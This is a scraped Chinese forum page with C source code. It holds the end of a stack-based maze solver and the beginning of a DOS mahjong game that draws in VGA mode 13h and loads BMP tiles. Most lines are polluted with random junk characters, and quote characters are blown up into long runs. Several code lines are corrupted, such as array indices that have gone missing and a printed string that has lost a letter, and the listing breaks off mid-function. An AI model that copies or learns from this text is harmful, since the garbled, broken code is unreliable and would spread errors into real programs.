! y3 ?. ?" G9 V4 H1 `1 Z6 @  ]maze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)$ w* N* S. D" m) W; b/ V
return TRUE;
- W# K, \: v  I/ b# \. delse return FALSE;
9 r5 W0 ~+ @" q1 k- h8 r2 S9 g} /* Pass */
! F# s5 s7 i2 m( H2 m5 [void MarkPrint(PosType seat)- F$ x) P3 w$ S2 v" r' a6 b" |
/* Mark the position seat. */5 g& p8 w: a( @7 A. @( n% ^2 o# V
{3 c& B" `; e3 y; |9 P
maze[seat.x][seat.y].mark=-1;" F5 n- x! T( P; d4 p: z- Q
/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */# f0 [: Z: N2 J& }4 ]4 |/ |
} /* MarkPrint */
/ u+ y9 w  K, A0 wvoid FootPrint(PosType curpos)
/ b5 A) a' @/ B# ?/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */$ O. [/ a0 l# r8 b! m2 m7 n
{/ b: k: p5 g& Q, Y7 n0 }9 N0 ~
maze[curpos.x][curpos.y].foot=1;. u4 }- V7 Z3 P7 ~) Z( O
} /* FootPrint */
1 w* Q. t0 s$ p3 q3 m. x: N  x/ GPosType NextPos(PosType seat,int di)9 u" S0 A; X: Q, r! r7 a5 m5 y
{
9 y* t' V" y1 s: Kswitch(di)
7 |' q1 h* P1 o1 z2 u{
% a, d  \" f4 R6 Lcase 1: seat.y++; return seat; /* Eastward */
+ _* {; e- a. q$ G- N; p+ vcase 2: seat.x++; return seat; /* Southward */
) ]# D, y; X1 h2 s2 Y  J" F" ]+ ccase 3: seat.y--; return seat; /* Westward */
( H3 P$ J9 ~  }. \, z  rcase 4: seat.x--; return seat; /* Northward */
. W8 f# [: n* h* sdefault: seat.x=0; seat.y=0; return seat;7 \( Q( l! j  d) D1 h" y' L
}1 X# }- K7 K- _# t8 `2 E
} /* NextPos */# K! J! o4 O- Q; y
: ?! K& j4 p+ u
/* The key to the program. */+ i! t: g( v6 V8 k% N, {" @
/* Pre: The maze array &amp; the startplace &amp; the endplace.
( u% W/ A3 f! k! R4 @. HPost: Find the one traverse of the maze and perform the mazepath.2 ?1 p& \4 y4 {+ c7 y$ Y5 r
Uses: The ADT stack class.
$ u; A& ~- h2 ?4 J# n* I" g& h*/! Y7 E" e2 }  x( |( l2 K
Status MazePath(PosType start,PosType end)
: V3 @2 X% \/ i9 k+ _6 E{3 r1 e) A6 M- |, W/ I  ~) G: Z
PosType curpos;; y; m! @. X0 \5 v0 g& g/ ?6 l
int curstep;
! q( j* k( }! NSElemType e;
, p% n1 Z6 ?: ?. T: V8 jStack *s,stack;
) O: D9 T2 }" U4 tstack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
# a- X% @1 n4 M& g0 S, J/ O+ w8 Kif(!stack.base) Error("Overflow");* S" t# s: |- ?$ f9 i- M0 L
stack.top=stack.base;. [* P, g4 u- _& z3 z( V
stack.stacksize=STACK_INIT_SIZE;- k7 i; B% T, `# e
s=&amp;stack;
) J& l7 O, @0 y: Fcurpos=start;
# q+ c5 I- ?; }6 G) q0 D* I8 Z! Wcurstep=1;5 i8 l/ [% s$ K0 a5 i( d/ }  i: N
do; `6 A( f& l, h! O" A  e
{
- E+ _. E  ]" h$ ]- ]* E+ }if(Pass(curpos))
1 C% ^6 P% Q! E5 {# x9 i{8 |0 |+ M" _* u" F0 g
FootPrint(curpos);
+ ]7 u0 o$ }) [1 \& me.ord=curstep; e.seat=curpos; e.di=1;+ H1 e! n+ G0 s1 X6 I# m; j9 q
gotoxy((curpos.y+1)*2,curpos.x+2);
7 s3 R0 a7 u' \$ jputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
2 S! J" J% i6 u3 zdelay(8000); /* pospone time. */
% h4 H: b5 @  l' S2 D) }Push(s,e);
5 H, V5 s0 P1 x8 }3 k( {2 ]if(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */6 S' x9 n: t9 L. h1 T
{- t9 Z, u; d7 A7 D2 U
DestroyStack(s);6 d/ i7 T6 _6 q3 n9 O: D
return TRUE;8 b8 n) t, ^5 D" y  l7 Y
}
" h3 m4 H0 n- J9 Y' u9 q1 Qcurpos=NextPos(curpos,1); /* Try next position. */
" F! `) A4 o( E. Pcurstep++;3 G# D2 p9 s: d8 B/ q- B# g
}2 j& C3 H; ]: @  @2 y9 g7 D; Y; C
else; a3 K6 U" J) U* O+ ~
{
8 e4 T4 K% ]# v2 T* j6 D; _) N+ i; Qif(!StackEmpty(s))( e4 M* q' [( g& e# b! j2 s
{
1 W& P+ T* y/ e) D+ E+ t4 C/ ]e=Pop(s,e); /* Removed e from s. */
7 M2 f6 Z: w  Rwhile(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked% g7 H/ n1 T! k( z0 \, G- i
and s is not empty. */' u. ^' Y! C$ g
{) z" R# H7 {# [# }: j# N
MarkPrint(e.seat);
9 m8 a0 Z- V1 @0 X) `9 r# qgotoxy((e.seat.y+1)*2,e.seat.x+2);
7 _0 Q; W5 ?1 f- W4 m5 r  W( f8 Fputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
" P8 M: `0 ^6 C7 k2 B# S5 |% Q- Odelay(8000); /* Pospone time. */" w: Q4 D  E" E5 ~! {
gotoxy((e.seat.y+1)*2,e.seat.x+2);
8 R" i; N% a& o8 S+ ^! {2 ~putch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');& S  U9 X8 k1 w9 \. p3 E
e=Pop(s,e); /* Remove e from s. */3 E, H+ k: Y# j4 p0 |
curstep--;% o: W' P) S) W9 P
}# r  }: {8 d  ^& ~: R" G
if(e.di&lt;4) /* The current position hasnot been checked. */
( @. S1 i+ J; e% M5 Q0 ~3 \! I5 q2 b  U, ~{
# s& [: @: f2 q* Ae.di++;
+ e9 ]1 v! A1 ~5 rPush(s,e); /* Insert e into s. */
) @. s. M4 B9 h5 n' O- `9 k& @% E( lcurpos=NextPos(e.seat,e.di); /* Try next position. */( q, ]# N$ M+ n" F7 W& d; \* c# C
}
- Q6 C& i8 Y; g9 M- t}
- c6 T. _& f0 R% k& p9 N4 a}2 V! _( Y/ \% ]+ s) x, n- r* q) S
}' V1 {2 O! K/ S( `2 ^" C
while(!StackEmpty(s));
3 @. b. q' q  M  O/ w7 uDestroyStack(s);: O: I% Y5 v3 l) Z- M
return FALSE;  m3 w% [8 }# C9 Q  C# k
} /* MazePath */
  j+ Z; b  }: L3 Pvoid main(): E& G: f- M8 h  K' ?8 W7 l% h  k
{" O+ n  D6 d% H
PosType start,end;3 H* a$ t/ @# n3 v; p
CreatMaze();4 ^. {" ~! U* k: Y8 y* P
start.x=StartPlace.y;- d: Y4 C. d; F
start.y=StartPlace.x;* V! n9 y$ Q) @9 A5 I
end.x=EndPlace.y;. {7 D  t6 y8 z1 S. j% X
end.y=EndPlace.x;3 c: U6 s/ C, z8 _2 S6 B
if(MazePath(start,end))1 @9 i( |: D( j% K1 M
{# C; U: l1 ~* i1 m1 w$ Q
gotoxy(2,22);
2 K+ g6 v( A! x8 Y% M) sprintf("ath found\n");& x3 I7 |2 _/ N* s2 m
}  r5 P/ h# D0 j9 M+ q# T
else
$ h/ R: `5 Z2 w& n  s# q{' d) [3 S2 M3 n, n
gotoxy(2,22);
0 j$ @6 C/ m  \- R  C8 J1 @$ Gprintf("ath not found\n");
( f& ]% B! @" ]$ r, z' `9 ^# }, q: R}
4 U+ O) b4 T" V( h2 O- v" _) s0 bgetch();0 F' X$ X% A: u, X7 _4 Q$ E( T
clrscr();
4 J* [  H3 `6 I+ i. @0 h9 D} </P></DIV>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传, ]) X8 }* K( Y
/*天宇软件
7 q$ }! ^7 @1 j  g作者:上海黑暗之龙
* a0 {6 v  _( ]+ D/ _6 y2002/10/30$ J+ q) Z; j, g2 f3 R# I* `; J% S- m7 \
麻将原代码*/2 o1 M4 l5 f0 j$ r  u4 U" t" N7 e- J
#include "dos.h"
5 s! o  Q+ ?9 t  u# ^3 F#include "stdio.h"1 C# J  _) K/ o) D; Q+ I1 T& O: E
#include "graphics.h"
) o9 b! o, c8 B! |) ], C' x8 r* A2 ]$ `3 R#include "bios.h"- F" a+ x) F  o, D% Y$ F
#include "conio.h"
+ M% f! q+ c) ]% W9 u$ z4 T3 P#include "stdlib.h"- Q$ i& k& [6 G+ }  {% t
unsigned char far *video_buffer=(char far *)0xA0000000L;
/ K. G- y* X2 @- a#define VGA256 0x13 /*图形模式13h*/
) k: L% X' m/ m' I  {6 R* S#define TEXT_MODE 0x03 /*普通文本模式*/
$ G9 d/ ^3 N1 S2 f4 L#define SETVGA Set_Video_Mode(VGA256)
; T, m! T: ]; w) D: M0 ^/ ?$ s#define OUTVGA Set_Video_Mode(TEXT_MODE)
$ d# F0 e: T/ [' i#define BYTE unsigned char9 b" _  S+ P4 t) s1 D0 c5 ?7 k/ J
#define WORD unsigned int
( G7 ^- y( ^  l7 \#define DWORD unsigned int$ G, I3 J2 z* {4 J
#define ESC 283; F/ W, [  ^$ l# K1 E/ u
#define LEFT 19200
$ l. l& r. Q$ `6 a#define RIGHT 19712/ Z8 [4 n  x6 A  @, R
#define H 9064
3 X2 S& {3 C- c7 i* ^! J" E$ L#define ENTER 7181/ G  f: Y; G8 ^5 Y* U: @  d. V
unsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;5 N, i4 p: x" P/ @. x! Q
int key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;0 s- h+ Y/ }' W3 V! J; k
struct chi7 T, ^1 H8 u7 |2 Q# c1 I3 T
{5 O4 C$ F$ o. s5 [
int lg;( L1 k  ?" d0 l! x5 s4 S
int lgg;
, y( F: V  Y8 w}ch[13];
- i* Q! e1 P& G' M7 n3 D5 \struct mj
4 w/ n' R) V& r. i* h3 w* B8 I# u+ I{ char *name; /*名字*/8 @  N( }9 C! {# P
int data1; /*是否已出,无用了*/! t: O4 L; A6 m" ?" e
int data2; /*是否在手中,1为自己,2为对方*/
/ d: C) f  y7 e! ~4 X1 Bint number; /*同一个花色的第几张,共4张*/
9 a' E8 S8 j6 ^! O# J- `% J& ~}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,8 ]' `3 @: a" d
"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,$ d; b6 _0 m0 W3 l
"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,/ C- ?! {% y3 b% y' j5 f/ _
"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,5 S8 I  z/ X: Z+ i7 v/ V# ]* ^. r
"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,
% w, B3 y$ G; C/ X$ Q, E8 x, G"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,7 b3 ^  T% ^1 t9 Z, {4 A9 t7 p! U4 C
"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,3 D2 G/ ]$ N9 c& f2 t$ m
"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,
1 Y7 v" [2 _* S3 E, Y: G6 U! Y"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,
2 F+ p! S6 z. R"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,
8 g6 R% X, g2 y0 I' q"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,0 O9 q: @, X" b- G
"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,% ^8 {" C# m  v2 s8 ]
"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,1 h2 j: i( N! B2 u; G+ Z, y
"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,
  S" k9 E7 Z. S: X"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,1 {( ^$ Y) d( M% `% f0 S9 O! W
"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,+ j, A0 a1 E8 G# R* z$ X
"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,0 u  K* G8 S( u! @9 D
"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,
9 l6 ~- J- u( n& r+ r"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,- p/ d1 k& w# c8 l) p; G4 a( C/ y
"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,; Z1 V; F' {1 V' h! [
"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,
8 g/ Z2 J8 l+ t" e"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,5 ^( b6 G/ Y5 Z& V6 f% a
"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,
8 d( H) e( B$ _2 {9 _' }4 k"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,3 Q" o6 l% W2 X2 Z, |
"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,
6 |- Y) F. P6 }"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,% e# ^8 e. z+ |( ~
"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,
, m/ w+ w" h4 ]"34.bmp"};
) ?9 q8 S( V2 v% kstruct every( P+ H: Q% D& U4 c  y& F
{ int *k; /*名字*/5 n1 N& w& V) q! q, W7 n
int oneorfour; /*同一张牌的第几张*/
7 {& {4 e: R) aint number; /*第几张牌136*/2 x! U" U, u7 Y5 f6 Q; ]
int p;
& F( t, t8 m+ y0 \  ?+ n: c8 `* R5 T  B5 }int g;3 A5 e' g5 |6 X$ e* A9 U
int c;
" m, E: `1 N' xint d[2];
: w! M+ z2 K% |" U  j};
: t  J* ^; M- p/ Z. r' l, `struct me! M3 A: z: t) `8 k8 _2 y
{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/0 L* g9 D8 n! Z/ I9 m, R4 k
int p; /*乓对方*/9 ~- a9 F; m, X, s
int c; /*吃对方*/9 `$ B  r0 w9 r* C5 Q3 R) t
int g; /*杠*/% j# m5 r' `! ^1 |

, P3 K8 T4 I3 y: Wstruct every pp[14]; /*存放手上的牌*/
& {9 u  p3 M* J+ I7 S& [}me;
: t( u% _0 i% Z9 d: v9 b6 f# astruct computer0 f0 e4 j' z! K
{ int m;" o" Q$ `/ _/ V+ q6 `* k' L
int p;9 n; w  h' @( x& N, ~7 j3 K3 R9 a
int c;$ ?1 p  {0 i. X
int g;
; i  j" X  v3 U2 Z6 p# R; W+ lstruct every pp[14];
) ~4 W' U# \- y/ I% h& k# n}computer,comp;" D0 k  x8 ], e, ]
5 [* ?4 i8 p# ?+ T3 `' U
/* 设置调色板 */
- Z) M/ o( B5 o, C# B7 gvoid Set_Palette(int Color,BYTE r,BYTE g,BYTE b). O% q  Z7 l( o( T& c# _
{
, @/ j- p7 s+ T# R+ K' foutportb(0x3c8,Color); /*0x3c8写端口 写色号*/; S1 l) ~. v, w" }6 o4 K# }
outportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/8 g+ X% I& r, l! `5 W3 d
outportb(0x3c9,g);4 o: w! a& ]/ r3 F- }+ g
outportb(0x3c9,b);1 r+ |" [8 |9 L/ m/ y! W) f
}
! ]6 V# q% h2 N6 @, v1 F/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/
6 n6 J3 a5 S' H6 O1 x/ \1 T6 `+ O/* 设置显示模式的函数 */
" L( i  Y- {( N" Kvoid Set_Video_Mode(int mode)
: }7 w/ r/ Q# [. K3 S% V' h6 q{
! K  {: H5 ^( k) b# u7 ~% o) Gunion REGS inregs,outregs; /*定义输入和返回寄存器*/; [2 S( o  m9 p4 _/ a6 r4 t
inregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/
: }: `- K9 I* ~4 I8 C* ^( k2 X/ finregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/8 \. @8 P* y3 h$ E
int86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/
& \5 v4 O2 q( ~: s& r}
( X* \6 Y4 }* k. V$ a4 I5 y7 avoid v_line(int y0,int y1,int x,unsigned int color); c+ P  ?, P  s% m2 C
{ unsigned int address,n,temp;4 G4 x" ]! q, g5 _
if(y0&gt;y1)2 H8 o0 N1 n% I2 [; w
{7 f5 g( ~" I# \. ]0 r& |
temp=y1;
0 C' z$ H; R; X8 _7 S& ]1 iy1=y0;
# r8 X' Q4 o0 {; l9 k3 ry0=temp;9 h9 v- ^" O$ d0 S
}, L1 Q* t" ], D
address=320*y0+x;" B! U& n1 P7 X9 t
for(n=0;n&lt;=y1-y0;n++)! i) q6 h$ f7 k/ [1 M5 L
{5 ?5 @0 {$ Y8 q8 I* C" _- f
video_buffer[address]=color;& Y; Z7 Y5 Q& x7 c
address+=320;
0 q9 l7 I* s& I: T1 d: C9 Y}6 S! n6 h/ G1 w
}& P  }8 A$ w9 t% Y, v4 f; O
void h_line(int x0,int x1,int y,unsigned int color)
4 r  U( }" J. K/ h! ^  @9 @( w{ unsigned int address,n,temp;5 [. u  z: w: s3 L& ?& h7 ~* j" w
if(x0&gt;x1)) ]5 |' |0 D" r0 I( g: d1 @
{$ `: u4 }' ?1 A* U% W
temp=x1;
1 T4 ^/ U4 Z4 z. `: h- U$ Ex1=x0;
3 Y. y3 G) E7 m, nx0=temp;, l7 G, u$ s+ C& |; |, M- Q
}6 `# ^' g. f5 u6 b! \, I7 C
address=320*y+x0;
+ M' F" }) h- Z6 R8 [for(n=0;n&lt;=x1-x0;n++)+ m9 l, v$ i5 _' @- r5 q" V- g2 o! j
{8 R8 L5 w" R6 n" z  o: y$ Q" i$ y9 K, x
video_buffer[address]=color;
5 V& a. m' M. [( b! i8 M9 Q  qaddress+=1;9 W, a8 V) a: A. W/ h! J
}
' P/ r" a* `7 R. k. g8 l}1 }; u, U6 S  g/ p* F" p# d7 Z; u
void p_pixel(int x,int y,unsigned int color)7 L+ Z. y4 W% T/ J* X8 D
{ video_buffer[y*320+x]=color;& @0 n# E: N4 K, O, I! A9 W7 `
}( R; r: H* V: P: W8 M
void s_square(int x,int y,int side,int color)& U, {( ]2 c7 E7 Z( }+ z" Y) Y
{* g/ F4 l3 _8 w3 x- f
h_line(x,x+side,y,color);
. r6 A) _/ H+ h8 c1 S) m! R( m# z" Xh_line(x,x+side,y+side,color);$ Z9 h/ i- E" M  S
v_line(y,y+side,x,color);
3 h* j2 M! G. |v_line(y,y+side,x+side,color);) i  I* Q. A+ [# A
}
2 @" A' B3 W; {void r_rectangle(int x1,int y1,int x2,int y2,int color)
/ o. z: f: F, g{6 B) |5 O$ c* v8 t" g6 i
h_line(x1,x2,y1,color);9 p8 S6 e1 ?- j$ ~7 {
h_line(x1,x2,y2,color);
1 t/ c7 x6 n, S/ O0 ~% C$ a% r& dv_line(y1,y2,x1,color);- j; ?! c! u9 Q! O/ ?4 A
v_line(y1,y2,x2,color);; t% S6 r, ]8 V
}2 E/ v- i! Y0 W$ j
void fillRectangle(int x1,int y1,int x2,int y2,int color)1 w7 R" B2 O) L( i
{
* x* X( S0 l; k  i2 U. l: P% b& V- Vint i;! M, V. s8 @7 h
for(i=y1;i&lt;=y2;i++)4 Q) c  h6 G) o$ q: _% g
{
9 J% A' c; v" Xh_line(x1,x2,i,color);" t! v1 d( C% d0 V5 A! A0 H% ^! X2 P
}
( {( N" r, g! f$ g% F; ^}
. u6 }6 N* F! G+ X; p8 `5 Y' pvoid showbmp(int l)1 d0 k5 x: L* o( |" G. Y7 {7 T
{ FILE *bmp;
* a  Q: f0 a. `) A7 Eint i,x,y;
5 J8 m) m1 b" h! i" FBYTE palette[256][3];! }5 |* L0 C8 @3 N' A! n3 }0 N
bmp=fopen(me.pp[l].k,"rb");
6 A- `; N: S2 @+ G* Jfseek(bmp,54,SEEK_SET);
! m! i0 U! w! T6 s, l; Afor(i=0;i&lt;256;i++)  Y; i! i4 _1 j$ n
{! ]. _3 g- o, f& ?7 E/ j3 Q# @
palette[2]=fgetc(bmp)&gt;&gt;2;/ o, w. S, l/ _  ~$ P5 m
palette[1]=fgetc(bmp)&gt;&gt;2;
: Z8 B4 \1 B0 v$ }$ Cpalette[0]=fgetc(bmp)&gt;&gt;2;) K" T7 {! h9 D9 ?8 t
fgetc(bmp);; l9 l2 e  w& S+ }+ Z
Set_Palette(i,palette[0],palette[1],palette[2]);
6 k( k8 N' |& x5 k( {}7 Z3 I& I, u$ y5 l/ B3 H" p$ d  N
for (y=0;y&lt;30;y++)
6 W! m2 B; [0 {  q# {for(x=0;x&lt;20;x++)/ t% p( _+ H/ d! A
pokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));  O1 y3 f+ h% K
fclose(bmp);( ]7 b5 p$ A8 Q9 E
}
( E- m  O: [; h4 _% Pvoid showbmpd(int l)
7 K3 h  H% P$ R{ FILE *bmp;" \. @5 O' f8 g7 G  M
int i,x,y;
& v0 h% N, G; L0 @. A" m8 \BYTE palette[256][3];
( c) y* z' n# T( _8 gbmp=fopen(me.pp[l].k,"rb");. [' D+ i: K$ F" y- d7 L5 D* f
fseek(bmp,54,SEEK_SET);5 t% v0 `) g* M$ W( _3 b
for(i=0;i&lt;256;i++)
/ a+ b  ]4 q* {0 }  n$ u' l1 x( r{/ `( k1 Q( {* n# L: Z0 V
palette[2]=fgetc(bmp)&gt;&gt;2;0 \( i4 [% B$ x, l, n+ s7 x& u3 l) _* O
palette[1]=fgetc(bmp)&gt;&gt;2;9 c& U9 S( l; d( {
palette[0]=fgetc(bmp)&gt;&gt;2;
& c& K0 Q4 I1 I, ?; Y4 o2 E) n& jfgetc(bmp);( I! J: i: E$ x- ^5 x' I
Set_Palette(i,palette[0],palette[1],palette[2]);/ ?9 U; K7 Z3 B1 [+ V  D% p2 r+ g. u
}
- L5 t9 o8 A5 O' O  o1 x  Z0 ifor (y=0;y&lt;30;y++)
0 d2 I6 c$ z7 p' Bfor(x=0;x&lt;20;x++)
( W3 e' I. h: n* a) c4 Opokeb(0xa000,y*320+x+zyy,fgetc(bmp));) U/ @- x$ U& f0 e
fclose(bmp);6 z# ^* d, f( v/ M  M
}
9 y0 j- c* s6 t, O; i3 u/ ~8 Svoid showybmp(int ll)
5 m& b3 `% L" B$ t5 z{ FILE *bmp;
1 G# {( R/ M( G* o' P5 z# Uint i,x,y;
) \( D/ l5 g. Y" B; A6 \% XBYTE palette[256][3];( z4 ~; a: F( a# l
bmp=fopen(computer.pp[ll].k,"rb");
. o& l; }0 V+ t( p$ I5 Dfseek(bmp,54,SEEK_SET);
. m( {; N3 s% m$ `! t  [for(i=0;i&lt;256;i++). ]) g$ y/ P) q. X' h
{5 H$ V' i2 E$ _  x
palette[2]=fgetc(bmp)&gt;&gt;2;
) I! O& f4 `. Z# lpalette[1]=fgetc(bmp)&gt;&gt;2;3 x* _$ }8 M& j2 c/ |
palette[0]=fgetc(bmp)&gt;&gt;2;
0 I. k, o  E6 k& V9 i# X5 ?6 [fgetc(bmp);' w. C0 b3 W& t4 @8 h1 q- p
Set_Palette(i,palette[0],palette[1],palette[2]);
: d4 p1 z* ~2 X1 D& T}% V: f9 r' ~9 u6 n6 o+ X
for (y=0;y&lt;30;y++)8 l, M8 B3 R+ S+ T4 M) I# i  b! k
for(x=0;x&lt;20;x++)( n& b) Z1 ]! [- ]4 M
pokeb(0xa000,y*320+x+zy,fgetc(bmp));& m. p. G( O  a* k9 v
fclose(bmp);/ G5 r# I" a2 i8 @9 B# Y( D
}
8 w. L% z- E# F1 C/ qvoid showcbmp(int ll)
5 f  ^$ J- W* G{ FILE *bmp;% V  d2 z* l. X# V, f
int i,x,y;4 E) Y) ~1 }7 J9 ]1 D) }5 ?+ u
BYTE palette[256][3];% T8 e3 R* @1 i7 K1 v1 e
bmp=fopen(computer.pp[ll].k,"rb");3 G4 i6 e2 O1 `+ v( y; {7 j
fseek(bmp,54,SEEK_SET);) F# t$ a/ S9 B! @
for(i=0;i&lt;256;i++)
" g, r& E& A7 ^/ u{- e1 |# y' W: u. W) X' T# i5 N( G
palette[2]=fgetc(bmp)&gt;&gt;2;
; C! C. @+ O# S8 `6 y* E. ^& ~- M" [palette[1]=fgetc(bmp)&gt;&gt;2;
) o/ |8 G& c. a2 L- Jpalette[0]=fgetc(bmp)&gt;&gt;2;, D1 {/ H5 V7 f6 a( y" G1 X
fgetc(bmp);  G  G* {0 I$ f2 s1 q1 q7 M
Set_Palette(i,palette[0],palette[1],palette[2]);
  p" @! z& Q6 G5 _6 U5 Y( @}
/ O5 H' u, I, i* O9 t; k9 n! D0 f, ]for (y=0;y&lt;30;y++)
- \9 j7 p8 x8 m' O: t7 hfor(x=0;x&lt;20;x++)+ ^+ h5 D$ R2 O' J; `
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));9 {( ?% L- d/ w( E8 d
fclose(bmp);6 ^: U8 j# a; k7 j5 W
}
9 n- o$ ^6 J. c# avoid bmpp(int number)" l2 `. u; c. }( K7 k
{ FILE *bmp;
/ g4 @! L- [3 ]7 D+ ]  pint i,x,y;
1 e# ^- b# K  b% V0 Q; eBYTE palette[256][3];
/ O0 z9 T' J0 |% Kbmp=fopen(m[number].name,"rb");
9 B6 E! Y6 U' Y" `. xfseek(bmp,54,SEEK_SET);( m& W' v/ [! B8 v$ i
for(i=0;i&lt;256;i++)4 L( G8 R- H8 ^& F" {+ X
{9 e: t+ n) d4 t9 b8 w
palette[2]=fgetc(bmp)&gt;&gt;2;
" Q2 Y9 _/ g. h9 Qpalette[1]=fgetc(bmp)&gt;&gt;2;/ S# D  g6 r( M) {/ A3 [6 z% n
palette[0]=fgetc(bmp)&gt;&gt;2;
* ]- ~1 m2 z& Q. ?! bfgetc(bmp);
3 A/ P4 h5 _, ]Set_Palette(i,palette[0],palette[1],palette[2]);
# s5 C  }# x1 t* J1 D" t}
3 o2 q+ F+ C- |- t5 t2 V% Sfor (y=0;y&lt;30;y++)
$ Z& ~4 q; c0 z! z: ufor(x=0;x&lt;20;x++)
$ R+ _& v# m  g# \. Epokeb(0xa000,y*320+x+zl,fgetc(bmp));( T) p( |0 Y- L# b/ G3 {4 s. _) \
fclose(bmp);
; |8 g2 \/ B1 Q6 l, X}' y; ^" Y9 J- F' J( U: ?0 G
void comlipai() /*整理电脑的牌*/  L! d- |$ A$ F  ?) A
{ int n,j,u;
4 ~/ a& ~- D7 o! U" o5 _int *lingshi;# p5 R7 \* X0 f# [" g6 W
for(n=0;n&lt;computer.m;n++)
/ h6 ]9 J9 \$ I) Cfor(j=n;j&lt;computer.m;j++)' w$ f0 W7 a0 a1 b8 a- q+ C
{3 h3 T9 Y3 P3 [  {7 K/ Y. K5 [- F
if(computer.pp[n].number&gt;computer.pp[j+1].number)0 c# m5 q0 i+ G& V! z% }* z3 a! E
{
( ^1 C# @- _3 rlingshi=computer.pp[n].k;& t4 M  m4 p" }9 C. r. {) U* `5 t
computer.pp[n].k=computer.pp[j+1].k;
: D) P" U2 k" s) e0 _/ q0 gcomputer.pp[j+1].k=lingshi;
4 J: @& h2 B- N6 e+ N" ]7 M. f' D( Wu=computer.pp[n].oneorfour;3 t9 o' L& l. P& o, w& f
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
( W+ Z, }. _; v1 o* G% Mcomputer.pp[j+1].oneorfour=u;* y" e" r, l. E* }: i) S: [3 T
u=computer.pp[n].number;/ r! s; `7 n2 f+ h! s
computer.pp[n].number=computer.pp[j+1].number;3 w. j. B1 j' j9 B1 m9 E6 |. R
computer.pp[j+1].number=u;; F2 m1 @% c6 u: X1 H- n
}
